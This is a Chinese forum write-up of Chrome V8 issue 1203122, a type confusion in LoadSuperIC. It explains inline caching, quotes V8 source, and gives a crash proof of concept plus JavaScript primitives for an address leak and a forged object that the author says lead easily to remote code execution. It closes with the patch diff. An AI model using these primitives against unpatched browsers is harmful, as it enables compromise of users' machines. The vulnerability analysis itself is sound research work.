首页
社区
课程
招聘
[原创]Chrome v8 Issue 1203122: Security: Type confusion bug in LoadSuperIC
2023-5-29 17:53 17469

[原创]Chrome v8 Issue 1203122: Security: Type confusion bug in LoadSuperIC

2023-5-29 17:53
17469

写在前面

   问题出现场景:

    假设对象A,其偏移+10的地方有一个属性x,这个属性为数字,同时存在一个B对象,这个对象偏移+10的地方是一个Object对象地址。(v8在性能优化的时候会使用对象地址加偏移的方法来直接获取属性,比如在IC内联缓存,还有JIT优化以后。)

    实际处理中如果AB对象出现混淆,

    例如在v8在JS函数调用期待的是处理对象A的属性x,并且x为一个数字类型,如果实际上处理却传入了对象B,就会根据B的基址+10偏移取值,并将其当作A的数字属性x返回,这样造成的结果就会将B+10偏移的对象地址当作A的属性x数字返回给JS调用函数,出现信息泄露。

   

                                                                                           如图1

     反过来,如果JS函数调用期待的是处理A对象的偏移+10的属性x,并且x为一个对象,如果实际上处理却传入的是对象B,那么就会根据B的基址+10偏移取值,并当作A的属性x返回,这样造成的结果就会将B+10偏移指向的数字,当成A的属性x对象返回给JS调用者,如果B偏移+10的这个地址指向我们预先设定的数据,就可以伪造一个对象结构。

                                                                                         如图2

第一:关于v8内联缓存(IC 缓存)

1.1:v8对于执行一定次数的函数,会对函数操作的对象的属性进行内联缓存(IC)优化。

比如函数:

function foo(obj)
{
   return obj.x;
}
for(let i=0;i<20;i++)
{
   foo(a);
}

v8在开始处理这个foo(a)的时候,会进行profiling data和feeback进行收集,然后根据profiing data和feedback的信息进行内联缓存优化。

比如我们一直使用 a={x:1}进行foo(a)运算,那么v8会在处理这个foo(a)运行到一定次数后,记录下a的数据结构,然后下次如果再碰到这种foo(a)运算时,直接使用a的地址加上a对象地址与x属性的偏移来进行x属性数据的索引,提升v8运行的效率。

1.2:v8使用super关键字来进行对父对象的索引。

class A{
  get prop(){
    return this.x=1;
  }
}
class B extends A{
  m(){
    return super.prop;
  }
}
var b = new B();
console.log(b.m());  //<------ '1'

比如上面这段JS代码里面,class A里面定义了prop函数,class B继承了class A,v8是通过super属性来获取class A中的属性x,严格来说,是获得A.prototype.x,然后返回给调用者的,v8有针对这种super索引的父类的情况有做专门的优化处理,这个处理阶段叫做superIC。

1.3:还是这段JS代码:

class A{
  get prop(){
    return this.x=1;
  }
}
 
class B extends A{
  m(){
    return super.prop;
  }
}
var b = new B();
console.log(b.m());  //<------ '1'

在这段JS代码中b.m()返回的是class B的super.prop,根据super关键字,v8会去去寻找父对象class A,然后根据class A prototype返回x属性。

也就是说在v8的处理中,b.m()会从class B再找到class A,再从class A的prototype里面找到x属性。

      理想的v8 superIC处理过程中,这个发起寻找属性的对象,以这个例子来说,这段JS代码中的b对象实例在v8中叫做receiver,然后用一个叫lookup_start_object的对象来标识进行这个寻找过程所用的对象,lookup_start_object先为class B,然后为class A,最后为A.prototype,最后根据class A的prototype中找到x属性,并返回给调用程序。

之后如果出现同样的运算,v8会根据lookup_start_object的数据数据结构,利用lookup_start_object加上lookup_start_object与属性x的偏移,并将这个偏移的值取出返回。

     这里可以看到,receiver和lookup_start_object并不是一个东西,在实际的js中,我们可以通过B.__proto__这样的运算来修改掉B对象里面的super关键字指向的对象,这样可以造成receiver.x和lookup_start_object.x内存布局不一致。

1.4 megamorphic

如下JS代码:

function foo(obj)
{
    return obj.x;
}

如果每次传入的obj都为对象a,那么v8 IC之后,会标记该属性为MONOMORPHIC。如果传入的obj有a对象,b对象两种情况,会标记为POLYMORPHIC,如果大于4种情况,则会标记为MEGAMORPHIC。

2.1:简单的漏洞分析

void AccessorAssembler::LoadSuperIC(const LoadICParameters* p) {
  ExitPoint direct_exit(this);
 
  TVARIABLE(MaybeObject, var_handler);
  Label if_handler(this, &var_handler), no_feedback(this),
      non_inlined(this, Label::kDeferred), try_polymorphic(this),
      miss(this, Label::kDeferred);
 
  GotoIf(IsUndefined(p->vector()), &no_feedback); <------- [0]
 
  // The lookup start object cannot be a SMI, since it's the home object's
  // prototype, and it's not possible to set SMIs as prototypes.
  TNode<Map> lookup_start_object_map =
      LoadReceiverMap(p->lookup_start_object());
  GotoIf(IsDeprecatedMap(lookup_start_object_map), &miss);
 
  TNode<MaybeObject> feedback = <------- [1]
      TryMonomorphicCase(p->slot(), CAST(p->vector()), lookup_start_object_map,
                         &if_handler, &var_handler, &try_polymorphic);
 
  BIND(&if_handler); <------- [2]
  {
    LazyLoadICParameters lazy_p(p);
    HandleLoadICHandlerCase(&lazy_p, CAST(var_handler.value()), &miss,
                            &direct_exit);
  }
 
  BIND(&no_feedback); <------- [3]
  { LoadSuperIC_NoFeedback(p); }
 
  BIND(&try_polymorphic); <------- [4]
  TNode<HeapObject> strong_feedback = GetHeapObjectIfStrong(feedback, &miss);
  {
    Comment("LoadSuperIC_try_polymorphic");
    GotoIfNot(IsWeakFixedArrayMap(LoadMap(strong_feedback)), &non_inlined);
    HandlePolymorphicCase(lookup_start_object_map, CAST(strong_feedback),
                          &if_handler, &var_handler, &miss);
  }
 
  BIND(&non_inlined); <------- [5]
  {
    // LoadIC_Noninlined can be used here, since it handles the
    // lookup_start_object != receiver case gracefully.
    LoadIC_Noninlined(p, lookup_start_object_map, strong_feedback, &var_handler,
                      &if_handler, &miss, &direct_exit);
  }
 
  BIND(&miss); <------- [6]
  direct_exit.ReturnCallRuntime(Runtime::kLoadWithReceiverIC_Miss, p->context(),
                                p->receiver(), p->lookup_start_object(),
                                p->name(), p->slot(), p->vector());
}
```

如上述代码所示,2.1.1,一开始运行的时候,因为没有feedback,会命中miss[6],随后随着调用的增多,代码路径为[0]=>[1]=>[2]。创建feedback,然后执行LoadSuperIC_NoFeedback。

                           2.1.2,接着由于feedback的增多,代码执行路径为[1]=>[4]=>[5]。这里的[5]注释已经说明lookup_start_object!=receiver。而在一开始命中miss的时候,输入的参数中有p->receiver(),和p->lookup_start_object()。这里标示了LoadIC_Noninlined(p,lookup_start_object_map,....)也就是期待使用的是lookup_start_object。

```
void AccessorAssembler::HandleLoadICHandlerCase(
    const LazyLoadICParameters* p, TNode<Object> handler, Label* miss,
    ExitPoint* exit_point, ICMode ic_mode, OnNonExistent on_nonexistent,
    ElementSupport support_elements, LoadAccessMode access_mode) {
  Comment("have_handler");
 
  TVARIABLE(Object, var_holder, p->lookup_start_object());
  TVARIABLE(Object, var_smi_handler, handler);
 
  Label if_smi_handler(this, {&var_holder, &var_smi_handler});
  Label try_proto_handler(this, Label::kDeferred),
      call_handler(this, Label::kDeferred);
 
  Branch(TaggedIsSmi(handler), &if_smi_handler, &try_proto_handler);
 
  BIND(&try_proto_handler);
  {
    GotoIf(IsCodeMap(LoadMap(CAST(handler))), &call_handler);
    HandleLoadICProtoHandler(p, CAST(handler), &var_holder, &var_smi_handler,
                             &if_smi_handler, miss, exit_point, ic_mode,
                             access_mode);
  }
 
  // |handler| is a Smi, encoding what to do. See SmiHandler methods
  // for the encoding format.
  BIND(&if_smi_handler);
  {
    HandleLoadICSmiHandlerCase(
        p, var_holder.value(), CAST(var_smi_handler.value()), handler, miss,
        exit_point, ic_mode, on_nonexistent, support_elements, access_mode);
  }
 
  BIND(&call_handler); <------- [6]
  {
    exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
                               p->context(), p->receiver(), p->name(),
                               p->slot(), p->vector());
  }
}
```

如上述代码所示,在随后的操作中:

                    2.1.3:[6]在exit_point->ReturnCallStub()中,却使用p->receiver()来加入具体的函数执行,但如我前面2.1.2所说,v8使用的是lookup_start_object_map,期待的是lookup_start_object,出现了类型混淆(个人认为是因为v8的程序员认为使用p->receiver()和p->lookup_start_object()结果没什么差别)。

2.2:poc的构造

function main(){
    class C{
        m(){
            super.prototype//返回C.__proto__.prototype
        }
    }
    function f(){}
    C.prototype.__proto__ = f//修改C.prototype.__proto__为f(){}函数。
 
    let c = new C()
    c.x0 = 1
    c.x1 = 1
    c.x2 = 1
    c.x3 = 1
    c.x4 = 0x42424242 / 2
 
    f.prototype//制造prototype属性MEGAMORPHIC的情况,与这个poc触发的混淆代码路径有关。
    c.m()
}
for (let i=0;i<0x100;++i) {
    main()
}

这个poc构造过程如下:

    2.2.1创建一个class C,然后创建一个函数m()返回其super对象的prototype属性,也就是执行C.__proto__.prototype运算。

    2.2.2将C.__proto__改为指向f函数对象,当执行一定次数的main()以后,就会进行IC优化,此时进行c.m()运算,就会从class C中的m()成员函数进行super.prototype进行访问,最终访问到C的父类Object的prototype,然后会将C.__proto__,也就是函数f标记为lookup_start_object,然返回其prototype,并将lookup_start_object提供给后续的m()调用使用。

    2.2.3main中每次都function f(){}然后通过f.prototype来对prototype这个属性进行访问,制造出这个属性MEGAMORPHIC的情况。

    2.2.4添加x0,x1,x2,x3,x4属性添加给c。也就是上文所说的receiver,改变receiver的内存结构,使得和lookup_start_object不一致。

    2.2.5在触发内联缓存后,使用c.m()访问C.__proto__.prototype,v8正确的做法是使用lookup_start_object也就是函数f返回f.prototype来返回给JS,但实际上我们可以通过上面漏洞的代码片段看出,是使用receiver进行属性的查找,就会将我们设定的0x42424242 / 2代替f.prototype进行返回,并作为f.prototype的类型解析,最终出现了类型混淆报错。

但是单靠这点问题没法RCE,这个POC更多的是验证这种代码的问题。

2.2.3:漏洞的利用

2.2.3.1 通过Object对象和String对象进行混淆,然后通过String的length属性进行地址泄露:

  if (!IsAnyHas() && !lookup->IsElement()) {
    if (receiver->IsString() && *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
      return BUILTIN_CODE(isolate(), LoadIC_StringLength);
    }
 
    if (receiver->IsStringWrapper() && <------- [0]
        *lookup->name() == roots.length_string()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
      return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
    }

如上所示如果receiver为String对象,在SuperIC过程中,会将receiver传进去,然后执行的为LoadIC_StringWrapperLength。

class O extends Object{
        constructor(){
            super()
            this.x0 = this
            this[0] = 0x41424344 / 2
            this[1] = 0x45464748 / 2
        }
        m(){
            return super.length
        }
 
}
    const o=new O()
 
    function f(){
        const proto = new String("a")
        O.prototype.__proto__=proto
        proto.length
        return o.m()
    }
    for (var i=0;i<0x100;++i) {
        const value=f()
        if (value!==1) {
            return [o,value-1]
        }
    }

通过前面的介绍的漏洞原理,在多次调用f()过程中,会对f()里面对o.m()的过程进行IC优化,并且将这个优化后将O.prototype.__proto__指向的对象设置为lookup_start_object,紧接着我们将这个lookup_start_object改变为一个string对象,因为漏洞的原因(上述C++代码[0])实际上v8处理的对象为receiver,也就是我们的o,然后将o指向的Elements地址作为string对象的length属性返回。

这样就造成了信息泄露。

2.2.3.2:通过Array对象与Function对象混淆,然后用Function的prototype属性进行伪造对象。

    // Use specialized code for getting prototype of functions.
    if (receiver->IsJSFunction() && <------- [1]
        *lookup->name() == roots.prototype_string() &&
        !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
      TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
      return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
    }
  }

在上面这段代码片段中,如果recever为Function对象,那么在IC过程中会用receiver来执行LoadIC_FunctionPrototype。

const fake_array =(function(){
    class A extends Array {
        constructor(){
            super(1,2,3,4)
            this.x1 = 0x41414142/2
            this.x2 = 0x42424242/2
            this.x3 = 0x43434344/2
            this.x4 = (da_elements_addr+8+2)/2
        }
        m(){
            return super.prototype
        }
    }
 
    const a = new A()
 
    function f() {
        const proto=function(){}
        A.prototype.__proto__=proto
        proto.prototype
        return a.m()
    }
 
    for (var i=0;i<0x100;++i) {
        const value = f()
        if (value.length!==undefined) {
            return value
        }
    }

通过前面的介绍的漏洞原理,在多次调用f()过程中,会对f()里面对o.m()的过程进行IC优化,并且将这个优化后得到O.prototype.__proto__设置为lookup_start_object,紧接着我们将这个lookup_start_object设置为一个function对象,因为漏洞的原因(上述C++代码[1]处)实际上v8处理的对象为receiver,也就是我们的a,然后将a指向的da_elements_addr地址作为f对象的prototype属性处理。这样就将地址da_elements_addr的数据当成了对象。

有了信息泄露+对象伪造,就能轻松完成RCE。

第三:补丁

有了前面的知识后,这补丁也就非常简单了,修补过程只要把上述代码片段中的receiver换成lookup_start_object就可以了:

@@ -220,8 +220,8 @@
   BIND(&call_handler);
   {
     exit_point->ReturnCallStub(LoadWithVectorDescriptor{}, CAST(handler),
-                               p->context(), p->receiver(), p->name(),
-                               p->slot(), p->vector());
+                               p->context(), p->lookup_start_object(),
+                               p->name(), p->slot(), p->vector());
   }
 }
+  Handle<Object> lookup_start_object = lookup->lookup_start_object();
   // `in` cannot be called on strings, and will always return true for string
   // wrapper length and function prototypes. The latter two cases are given
   // LoadHandler::LoadNativeDataProperty below.
   if (!IsAnyHas() && !lookup->IsElement()) {
-    if (receiver->IsString() && *lookup->name() == roots.length_string()) {
+    if (lookup_start_object->IsString() &&
+        *lookup->name() == roots.length_string()) {
       TRACE_HANDLER_STATS(isolate(), LoadIC_StringLength);
       return BUILTIN_CODE(isolate(), LoadIC_StringLength);
     }
 
-    if (receiver->IsStringWrapper() &&
+    if (lookup_start_object->IsStringWrapper() &&
         *lookup->name() == roots.length_string()) {
       TRACE_HANDLER_STATS(isolate(), LoadIC_StringWrapperLength);
       return BUILTIN_CODE(isolate(), LoadIC_StringWrapperLength);
     }
 
     // Use specialized code for getting prototype of functions.
-    if (receiver->IsJSFunction() &&
+    if (lookup_start_object->IsJSFunction() &&
         *lookup->name() == roots.prototype_string() &&
-        !JSFunction::cast(*receiver).PrototypeRequiresRuntimeLookup()) {
+        !JSFunction::cast(*lookup_start_object)
+             .PrototypeRequiresRuntimeLookup()) {
       TRACE_HANDLER_STATS(isolate(), LoadIC_FunctionPrototypeStub);
       return BUILTIN_CODE(isolate(), LoadIC_FunctionPrototype);
     }
@@ -864,8 +867,7 @@
   bool holder_is_lookup_start_object;
   if (lookup->state() != LookupIterator::JSPROXY) {
     holder = lookup->GetHolder<JSObject>();
-    holder_is_lookup_start_object =
-        lookup->lookup_start_object().is_identical_to(holder);
+    holder_is_lookup_start_object = lookup_start_object.is_identical_to(holder);
   }
   switch (lookup->state()) {

不过因为IC过程中的中间对象众多,编写v8的程序员会混淆的不只是receiver和lookup_start_object,这个issue是这种类型的第一个,会混淆的还有别的对象,现在我看过的就有3个。

参考:

     https://bugs.chromium.org/p/chromium/issues/detail?id=1203122&q=SuperIC&can=1

     https://zhuanlan.zhihu.com/p/28790195
























[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2023-5-30 11:30 被苏啊树编辑 ,原因:
收藏
点赞4
打赏
分享
最新回复 (3)
雪    币: 530
活跃值: (841)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
Hambur 2023-6-10 13:42
2
0
后续的利用也是ArrayBuffer和Wasm的套路吗
雪    币: 4283
活跃值: (2868)
能力值: ( LV9,RANK:210 )
在线值:
发帖
回帖
粉丝
苏啊树 4 2023-6-12 20:15
3
0
可以去我给的链接看一下,伪造的是Funtion.prototype,和ArrayBuffer不太一样
雪    币: 18590
活跃值: (27811)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2023-11-8 09:29
4
1
感谢分享
游客
登录 | 注册 方可回帖
返回